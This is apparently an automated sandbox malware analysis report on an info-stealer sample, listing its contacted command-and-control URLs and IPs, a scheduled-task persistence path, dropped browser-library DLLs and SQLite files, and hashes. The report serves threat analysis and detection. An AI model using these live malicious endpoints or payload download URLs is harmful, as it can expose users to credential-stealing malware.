https://support.mozilla.org	JDAEHJJECAEGCAAAAEGIEBKEBK.0.dr	false		high
http://185.215.113.43/Zu7JuNko/index.phpg	skotes.exe, 00000011.00000002.3373829942.0000000000876000.00000004.00000020.00020000.00000000.sdmp	false		high
http://185.215.113.206	file.exe, 00000000.00000002.2736377583.000000000098C000.00000040.00000001.01000000.00000003.sdmp, file.exe, 00000000.00000002.2737576972.000000000107E000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000002.2736377583.0000000000944000.00000040.00000001.01000000.00000003.sdmp	false		high
http://185.215.113.206/68b591d6548ec281/nss3.dllW	file.exe, 00000000.00000002.2737576972.00000000010F5000.00000004.00000020.00020000.00000000.sdmp	false	Avira URL Cloud: malware	unknown
https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=	JEBGCBAF.0.dr	false		high
https://bridge.sfo1.ap01.net/ctp?version=16.0.0&key=1696484494400800000.1&ci=1696484494189.12791&cta	file.exe, 00000000.00000002.2746754434.000000000B771000.00000004.00000020.00020000.00000000.sdmp, AKEGDAKEHJDHIDHJJDAE.0.dr	false		high

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	ASN	ASN Name	Malicious
185.215.113.43	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
185.215.113.16	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	false
239.255.255.250	unknown	Reserved	unknown	unknown	false
185.215.113.206	unknown	Portugal	206894	WHOLESALECONNECTIONSNL	true
142.250.181.68	www.google.com	United States	15169	GOOGLEUS	false

Private

IP
192.168.2.6
127.0.0.1

General Information

Joe Sandbox version:	41.0.0 Charoite
Analysis ID:	1570979
Start date and time:	2024-12-08 15:37:09 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 8m 48s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	19
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	file.exe
Detection:	MAL
Classification:	mal100.troj.spyw.evad.winEXE@37/50@2/7
EGA Information:	Successful, ratio: 100%
HCA Information:	Failed
Cookbook Comments:	Found application associated with file extension: .exe

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe, svchost.exe
Excluded IPs from analysis (whitelisted): 172.217.17.46, 216.58.208.227, 64.233.162.84, 142.250.181.142, 142.250.181.99, 192.229.221.95, 172.217.21.42, 172.217.19.170, 172.217.19.234, 142.250.181.42, 142.250.181.74, 142.250.181.106, 142.250.181.138, 216.58.208.234, 172.217.17.74, 172.217.17.42, 172.217.19.202, 199.232.210.172
Excluded domains from analysis (whitelisted): client.wns.windows.com, fs.microsoft.com, accounts.google.com, otelrules.azureedge.net, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, redirector.gvt1.com, clients.l.google.com, www.gstatic.com, optimizationguide-pa.googleapis.com
HTTPS sessions have been limited to 150. Please view the PCAPs for the complete data.
Not all processes where analyzed, report is missing behavior information
Report creation exceeded maximum time and may have missing disassembly code information.
Report size exceeded maximum capacity and may have missing behavior information.
Report size exceeded maximum capacity and may have missing disassembly code.
Report size exceeded maximum capacity and may have missing network information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryAttributesFile calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
Some HTTPS proxied raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
VT rate limit hit for: file.exe

Simulations

Behavior and APIs

Time	Type	Description
09:38:33	API Interceptor	216x Sleep call for process: file.exe modified
09:40:01	API Interceptor	57x Sleep call for process: skotes.exe modified
15:39:00	Task Scheduler	Run new task: skotes path: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
185.215.113.43	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.43/Zu7JuNko/index.php
	file.exe	Get hash	malicious	Amadey	Browse	185.215.113.43/Zu7JuNko/index.php
185.215.113.16	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.16/luma/random.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16/off/def.exe
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.16/mine/random.exe

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
WHOLESALECONNECTIONSNL	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc	Browse	185.215.113.16
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	185.215.113.206
	file.exe	Get hash	malicious	Stealc	Browse	185.215.113.206
	file.exe	Get hash	malicious	LummaC Stealer	Browse	185.215.113.16

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
28a2c9bd18a11de089ef85a160da29e4	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	LummaC Stealer	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109
	http://sarcomawmawlhov7o5mdhz4eszxxlkyaoiyiy2b5iwxnds2dmb4jakad.onion	Get hash	malicious	Unknown	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109
	List of required items.vbs	Get hash	malicious	Unknown	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109
	List of Required items and specifications.pdf.vbs	Get hash	malicious	Unknown	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109
	3qvTuHPZz2.exe	Get hash	malicious	Meduza Stealer	Browse	4.175.87.197 172.202.163.200 13.107.246.63 23.218.208.109
3b5074b1b5d032e5620f69f9f700ff0e	ugjigghFzZ.exe	Get hash	malicious	Quasar	Browse	20.198.118.190
	spoolsv.exe	Get hash	malicious	RedLine, StormKitty, XWorm	Browse	20.198.118.190
	2477.exe	Get hash	malicious	NoCry, RedLine, StormKitty, XWorm	Browse	20.198.118.190
	BA9qyj2c9G.exe	Get hash	malicious	WhiteSnake Stealer	Browse	20.198.118.190
	List of required items pdf.vbs	Get hash	malicious	GuLoader	Browse	20.198.118.190
	List of required items.vbs	Get hash	malicious	Unknown	Browse	20.198.118.190
	List of required items and services pdf.vbs	Get hash	malicious	GuLoader	Browse	20.198.118.190
	List of Required items and specifications.pdf.vbs	Get hash	malicious	Unknown	Browse	20.198.118.190
	8AE6w4efXi.exe	Get hash	malicious	Unknown	Browse	20.198.118.190
	ea4LTmpMwl.exe	Get hash	malicious	Discord Token Stealer, DotStealer	Browse	20.198.118.190

Dropped Files

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link
C:\ProgramData\freebl3.dll	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	S1NrYNOYhZ.exe	Get hash	malicious	Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, LummaC Stealer, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse
	file.exe	Get hash	malicious	Amadey, Credential Flusher, LummaC Stealer, Stealc, Vidar	Browse

Created / dropped Files

C:\ProgramData\AKEGDAKEHJDHIDHJJDAE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	ASCII text, with very long lines (1717), with CRLF line terminators
Category:	dropped
Size (bytes):	10237
Entropy (8bit):	5.498288591230544
Encrypted:	false
SSDEEP:	192:/nTFTRRFYbBp6SLZNMGaXU6qU4rzy+/3/OYiNBw8D7Sl:LreDFNMroyrdw60
MD5:	0F58C61DE9618A1B53735181E43EE166
SHA1:	CC45931CF12AF92935A84C2A015786CC810AEC3A
SHA-256:	AE9C3109DD23F391DC58C564080932100F55C8E674176D7911D54FB0D3417AE0
SHA-512:	DEA527C22D4AA607B00FBBCC1CDD9C6B69E92EC3B1B14649A086E87258AAD5C280BFB2835C165176E8759F575AA39D1B58E25CB40F60C7E88D94243A874B71BE
Malicious:	false
Preview:	// Mozilla User Preferences....// DO NOT EDIT THIS FILE...//..// If you make changes to this file while the application is running,..// the changes will be overwritten when the application exits...//..// To change a preference value, you can either:..// - modify it via the UI (e.g. via about:config in the browser); or..// - set it within a user.js file in your profile.....user_pref("app.normandy.first_run", false);..user_pref("app.normandy.migrationsApplied", 12);..user_pref("app.normandy.user_id", "a24b7aae-efcd-4433-83ad-3649b8231e2d");..user_pref("app.update.auto.migrated", true);..user_pref("app.update.background.rolledout", true);..user_pref("app.update.lastUpdateTime.browser-cleanup-thumbnails", 0);..user_pref("app.update.lastUpdateTime.recipe-client-addon-run", 1696486832);..user_pref("app.update.lastUpdateTime.region-update-timer", 0);..user_pref("app.update.lastUpdateTime.rs-experiment-loader-timer", 1696486836);..user_pref("app.update.lastUpdateTime.xpi-signature-verification

C:\ProgramData\BAKEBAFIIECBGCAAAAFC

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 2, database pages 25, cookie 0xe, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	51200
Entropy (8bit):	0.8745947603342119
Encrypted:	false
SSDEEP:	96:aZ8mmwLCn8MouB6wzFlOqUvJKLReZff44EK:W8yLG7IwRWf4
MD5:	378391FDB591852E472D99DC4BF837DA
SHA1:	10CB2CDAD4EDCCACE0A7748005F52C5251F6F0E0
SHA-256:	513C63B0E44FFDE2B4E511A69436799A8B59585CB0EB5CCFDA7A9A8F06BA4808
SHA-512:	F099631BEC265A6E8E4F8808270B57FFF28D7CBF75CC6FA046BB516E8863F36E8506C7A38AD682132FCB1134D26326A58F5B588B9EC9604F09FD7155B2AEF2DA
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\DAECFIJD

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 8, database pages 89, cookie 0x37, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	196608
Entropy (8bit):	1.1239949490932863
Encrypted:	false
SSDEEP:	384:g2qOB1nxCkvSA1LyKOMq+8iP5GDHP/0j:9q+n0E91LyKOMq+8iP5GLP/0
MD5:	271D5F995996735B01672CF227C81C17
SHA1:	7AEAACD66A59314D1CBF4016038D3A0A956BAF33
SHA-256:	9D772D093F99F296CD906B7B5483A41573E1C6BD4C91EF8DBACDA79CDF1436B4
SHA-512:	62F15B7636222CA89796FCC23FC5722657382FAAAFEDC937506CAB3286AA696609F2A5A8F479158574D9FB92D37C0AA74EA15F7A172EBF1F3D260EF6124CF8B9
Malicious:	false
Preview:	SQLite format 3......@ .......Y...........7......................................................j............W........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JDAEHJJECAEGCAAAAEGIEBKEBK

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 75, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 2, database pages 46, cookie 0x26, schema 4, UTF-8, version-valid-for 2
Category:	dropped
Size (bytes):	5242880
Entropy (8bit):	0.0357803477377646
Encrypted:	false
SSDEEP:	192:58rJQaXoMXp0VW9FxWwJU0VnQphI1mJ/8GJK:58r54w0VW3xWB0VaI4
MD5:	76D181A334D47872CD2E37135CC83F95
SHA1:	B563370B023073CE6E0F63671AA4AF169ABBF4E1
SHA-256:	52D831CC6F56C3A25EB9238AAF25348E1C4A3D361DFE7F99DB1D37D89A0057FD
SHA-512:	23E0D43E4785E5686868D5448628718720C5A8D9328EE814CB77807260F7CDA2D01C5DEE8F58B5713F4F09319E6CB7AB24725078C01322BAE04777418A49A9F7
Malicious:	false
Preview:	SQLite format 3......@ ...................&...................K..................................j.....-a>.~...\|0{dz.z.z"y.y3x.xKw.v.u.uGt.t;sAs.q.p.q.p{o.ohn.nem.n,m9l.k.lPj.j.h.h.g.d.c.c6b.b.a.a>..................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEBGCBAF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 3, database pages 52, cookie 0x21, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	106496
Entropy (8bit):	1.136471148832945
Encrypted:	false
SSDEEP:	192:ZWTblyVZTnGtgTgabTanQeZVuSVumZa6c1/k4:MnlyfnGtxnfVuSVumEH1s4
MD5:	37B1FC046E4B29468721F797A2BB968D
SHA1:	50055EF1C50E4C1A7CCF7D00620E95128E4C448B
SHA-256:	7BBD5DFC9026E0D477B027B9A2A3F022F2E72FC9B4E05E697461A00677AE8EFD
SHA-512:	1D8A0F0AE76E5A1CF131F6D2C5156EA4204449942210EF029D5B018464355DBF94E2D8ABD6A5A9CDFE4271DCD22703BF26ECE8FEE902E122184680F1BB001149
Malicious:	false
Preview:	SQLite format 3......@ .......4...........!......................................................j............1........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JEBGCBAFCGDAAKFIDGIE

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, page size 2048, file counter 1, database pages 20, cookie 0xb, schema 4, UTF-8, version-valid-for 1
Category:	dropped
Size (bytes):	40960
Entropy (8bit):	0.8553638852307782
Encrypted:	false
SSDEEP:	48:2x7BA+IIF7CVEq8Ma0D0HOlf/6ykwp1EUwMHZq10bvJKLkw8s8LKvUf9KVyJ7h/f:QNDCn8MouB6wz8iZqmvJKLPeymwil
MD5:	28222628A3465C5F0D4B28F70F97F482
SHA1:	1BAA3DEB7DFD7C9B4CA9FDB540F236C24917DD14
SHA-256:	93A6AF6939B17143531FA4474DFC564FA55359308B910E6F0DCA774D322C9BE4
SHA-512:	C8FB93F658C1A654186FA6AA2039E40791E6B0A1260B223272BB01279A7B574E238B28217DADF3E1850C7083ADFA2FE5DA0CCE6F9BCABD59E1FFD1061B3A88F7
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\JJKJDAEBFCBKECBGDBFCFBKKKF

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	SQLite 3.x database, user version 12, last written using SQLite version 3042000, page size 32768, writer version 2, read version 2, file counter 3, database pages 3, cookie 0x1, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	98304
Entropy (8bit):	0.08235737944063153
Encrypted:	false
SSDEEP:	12:DQAsfWk73Fmdmc/OPVJXfPNn43etRRfYR5O8atLqxeYaNcDakMG/lO:DQAsff32mNVpP965Ra8KN0MG/lO
MD5:	369B6DD66F1CAD49D0952C40FEB9AD41
SHA1:	D05B2DE29433FB113EC4C558FF33087ED7481DD4
SHA-256:	14150D582B5321D91BDE0841066312AB3E6673CA51C982922BC293B82527220D
SHA-512:	771054845B27274054B6C73776204C235C46E0C742ECF3E2D9B650772BA5D259C8867B2FA92C3A9413D3E1AD35589D8431AC683DF84A53E13CDE361789045928
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j......}..}...........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\freebl3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Joe Sandbox View:	Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: S1NrYNOYhZ.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse Filename: file.exe, Detection: malicious, Browse
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\mozglue.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\msvcp140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\ProgramData\nss3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\softokn3.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	257872
Entropy (8bit):	6.727482641240852
Encrypted:	false
SSDEEP:	6144:/yF/zX2zfRkU62THVh/T2AhZxv6A31obD6Hq/8jis+FvtVRpsAAs0o8OqTYz+xnU:/yRzX2zfRkX2T1h/SA5PF9m8jJqKYz+y
MD5:	4E52D739C324DB8225BD9AB2695F262F
SHA1:	71C3DA43DC5A0D2A1941E874A6D015A071783889
SHA-256:	74EBBAC956E519E16923ABDC5AB8912098A4F64E38DDCB2EAE23969F306AFE5A
SHA-512:	2D4168A69082A9192B9248F7331BD806C260478FF817567DF54F997D7C3C7D640776131355401E4BDB9744E246C36D658CB24B18DE67D8F23F10066E5FE445F6
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................P...............................................Sg....@A........................Dv..S....w..........................P/.......5..8q...............................................{...............................text...&........................... ..`.rdata.............................@..@.data................\|..............@....00cfg..............................@..@.rsrc...............................@..@.reloc...5.......6..................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\vcruntime140.dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	80880
Entropy (8bit):	6.920480786566406
Encrypted:	false
SSDEEP:	1536:lw2886xv555et/MCsjw0BuRK3jteo3ecbA2W86b+Ld:lw28V55At/zqw+Iq9ecbA2W8H
MD5:	A37EE36B536409056A86F50E67777DD7
SHA1:	1CAFA159292AA736FC595FC04E16325B27CD6750
SHA-256:	8934AAEB65B6E6D253DFE72DEA5D65856BD871E989D5D3A2A35EDFE867BB4825
SHA-512:	3A7C260646315CF8C01F44B2EC60974017496BD0D80DD055C7E43B707CADBA2D63AAB5E0EFD435670AA77886ED86368390D42C4017FC433C3C4B9D1C47D0F356
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$......................08e...................................................u............Rich............PE..L...\|.0].........."!.........................................................0.......m....@A.............................................................A... ....... ..8............................ ..@............................................text............................... ..`.data...............................@....idata..............................@..@.rsrc...............................@..@.reloc....... ......................@..B................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\84c8e42e-5b68-47bc-8f9f-97bca71aaa85.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44925
Entropy (8bit):	6.095624282924164
Encrypted:	false
